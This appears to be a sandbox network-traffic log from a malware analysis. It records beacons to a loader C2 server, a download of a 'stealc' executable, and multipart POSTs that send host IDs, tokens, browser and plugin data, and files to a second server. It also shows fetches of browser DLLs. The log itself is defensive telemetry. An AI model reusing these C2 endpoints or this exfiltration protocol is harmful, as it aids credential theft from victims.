r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A79B52F76B35082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 46 37 36 42 33 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A79B52F76B35082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 46 37 36 42 33 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A79B52F76B35082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 46 37 36 42 33 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A79B52F76B35082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 46 37 36 42 33 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A79B52F76B35082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 46 37 36 42 33 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A79B52F76B35082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 46 37 36 42 33 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A79B52F76B35082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: GET /stealc/random.exe HTTP/1.1Host: 77.91.77.81If-Modified-Since: Thu, 04 Jul 2024 23:59:33 GMTIf-None-Match: "66873765-26d400"
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 30 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000006001&unit=246122658369
Source: global traffic HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFCFHJJECAEHJJKEHIDBHost: 85.28.47.30Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 43 46 48 4a 4a 45 43 41 45 48 4a 4a 4b 45 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 45 46 45 35 36 43 42 38 36 36 38 34 32 31 37 36 35 31 31 32 30 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 46 48 4a 4a 45 43 41 45 48 4a 4a 4b 45 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 4e 69 63 65 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 46 48 4a 4a 45 43 41 45 48 4a 4a 4b 45 48 49 44 42 2d 2d 0d 0a Data Ascii: ------AFCFHJJECAEHJJKEHIDBContent-Disposition: form-data; name="hwid"9EFE56CB86684217651120------AFCFHJJECAEHJJKEHIDBContent-Disposition: form-data; name="build"Nice------AFCFHJJECAEHJJKEHIDB--
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJJEGIEHIJKKFIDHDGIDHost: 85.28.47.30Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 4a 45 47 49 45 48 49 4a 4b 4b 46 49 44 48 44 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 62 35 62 61 38 66 35 66 33 64 36 33 64 33 38 65 32 61 33 61 35 35 32 32 37 38 34 66 39 64 65 63 66 30 64 33 37 64 39 65 64 65 37 31 61 61 32 62 33 66 35 62 35 61 39 38 34 61 61 31 65 63 35 65 35 64 31 64 66 66 39 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 45 47 49 45 48 49 4a 4b 4b 46 49 44 48 44 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 45 47 49 45 48 49 4a 4b 4b 46 49 44 48 44 47 49 44 2d 2d 0d 0a Data Ascii: ------HJJEGIEHIJKKFIDHDGIDContent-Disposition: form-data; name="token"ab5ba8f5f3d63d38e2a3a5522784f9decf0d37d9ede71aa2b3f5b5a984aa1ec5e5d1dff9------HJJEGIEHIJKKFIDHDGIDContent-Disposition: form-data; name="message"browsers------HJJEGIEHIJKKFIDHDGID--
Source: global traffic HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBAAAFBGDBKKEBGCFCBFHost: 85.28.47.30Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 41 41 41 46 42 47 44 42 4b 4b 45 42 47 43 46 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 62 35 62 61 38 66 35 66 33 64 36 33 64 33 38 65 32 61 33 61 35 35 32 32 37 38 34 66 39 64 65 63 66 30 64 33 37 64 39 65 64 65 37 31 61 61 32 62 33 66 35 62 35 61 39 38 34 61 61 31 65 63 35 65 35 64 31 64 66 66 39 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 41 41 46 42 47 44 42 4b 4b 45 42 47 43 46 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 41 41 46 42 47 44 42 4b 4b 45 42 47 43 46 43 42 46 2d 2d 0d 0a Data Ascii: ------EBAAAFBGDBKKEBGCFCBFContent-Disposition: form-data; name="token"ab5ba8f5f3d63d38e2a3a5522784f9decf0d37d9ede71aa2b3f5b5a984aa1ec5e5d1dff9------EBAAAFBGDBKKEBGCFCBFContent-Disposition: form-data; name="message"plugins------EBAAAFBGDBKKEBGCFCBF--
Source: global traffic HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKJDGDGDHDGDBFIDHDBAHost: 85.28.47.30Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 4a 44 47 44 47 44 48 44 47 44 42 46 49 44 48 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 62 35 62 61 38 66 35 66 33 64 36 33 64 33 38 65 32 61 33 61 35 35 32 32 37 38 34 66 39 64 65 63 66 30 64 33 37 64 39 65 64 65 37 31 61 61 32 62 33 66 35 62 35 61 39 38 34 61 61 31 65 63 35 65 35 64 31 64 66 66 39 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 44 47 44 47 44 48 44 47 44 42 46 49 44 48 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 44 47 44 47 44 48 44 47 44 42 46 49 44 48 44 42 41 2d 2d 0d 0a Data Ascii: ------AKJDGDGDHDGDBFIDHDBAContent-Disposition: form-data; name="token"ab5ba8f5f3d63d38e2a3a5522784f9decf0d37d9ede71aa2b3f5b5a984aa1ec5e5d1dff9------AKJDGDGDHDGDBFIDHDBAContent-Disposition: form-data; name="message"fplugins------AKJDGDGDHDGDBFIDHDBA--
Source: global traffic HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGIEGHJEGHJKFIEBFHJKHost: 85.28.47.30Content-Length: 6563Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 46 37 36 42 33 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A79B52F76B35082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: GET /69934896f997d5bb/sqlite3.dll HTTP/1.1Host: 85.28.47.30Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 46 37 36 42 33 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A79B52F76B35082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBKFIDAAEHIEGCBFIDBFHost: 85.28.47.30Content-Length: 4599Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGCFIIEBKEGHJJJJJJDAHost: 85.28.47.30Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 46 37 36 42 33 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A79B52F76B35082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEHDBAEGIIIEBGCAAFHIHost: 85.28.47.30Content-Length: 359Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 62 35 62 61 38 66 35 66 33 64 36 33 64 33 38 65 32 61 33 61 35 35 32 32 37 38 34 66 39 64 65 63 66 30 64 33 37 64 39 65 64 65 37 31 61 61 32 62 33 66 35 62 35 61 39 38 34 61 61 31 65 63 35 65 35 64 31 64 66 66 39 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 49 2d 2d 0d 0a Data Ascii: ------KEHDBAEGIIIEBGCAAFHIContent-Disposition: form-data; name="token"ab5ba8f5f3d63d38e2a3a5522784f9decf0d37d9ede71aa2b3f5b5a984aa1ec5e5d1dff9------KEHDBAEGIIIEBGCAAFHIContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------KEHDBAEGIIIEBGCAAFHIContent-Disposition: form-data; name="file"------KEHDBAEGIIIEBGCAAFHI--
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 46 37 36 42 33 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A79B52F76B35082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDHIDHIEGIIIECAKEBFBHost: 85.28.47.30Content-Length: 359Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 62 35 62 61 38 66 35 66 33 64 36 33 64 33 38 65 32 61 33 61 35 35 32 32 37 38 34 66 39 64 65 63 66 30 64 33 37 64 39 65 64 65 37 31 61 61 32 62 33 66 35 62 35 61 39 38 34 61 61 31 65 63 35 65 35 64 31 64 66 66 39 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 2d 2d 0d 0a Data Ascii: ------GDHIDHIEGIIIECAKEBFBContent-Disposition: form-data; name="token"ab5ba8f5f3d63d38e2a3a5522784f9decf0d37d9ede71aa2b3f5b5a984aa1ec5e5d1dff9------GDHIDHIEGIIIECAKEBFBContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------GDHIDHIEGIIIECAKEBFBContent-Disposition: form-data; name="file"------GDHIDHIEGIIIECAKEBFB--
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 46 37 36 42 33 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A79B52F76B35082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: GET /69934896f997d5bb/freebl3.dll HTTP/1.1Host: 85.28.47.30Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: GET /69934896f997d5bb/mozglue.dll HTTP/1.1Host: 85.28.47.30Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 46 37 36 42 33 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A79B52F76B35082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: GET /69934896f997d5bb/msvcp140.dll HTTP/1.1Host: 85.28.47.30Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /69934896f997d5bb/nss3.dll HTTP/1.1Host: 85.28.47.30Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
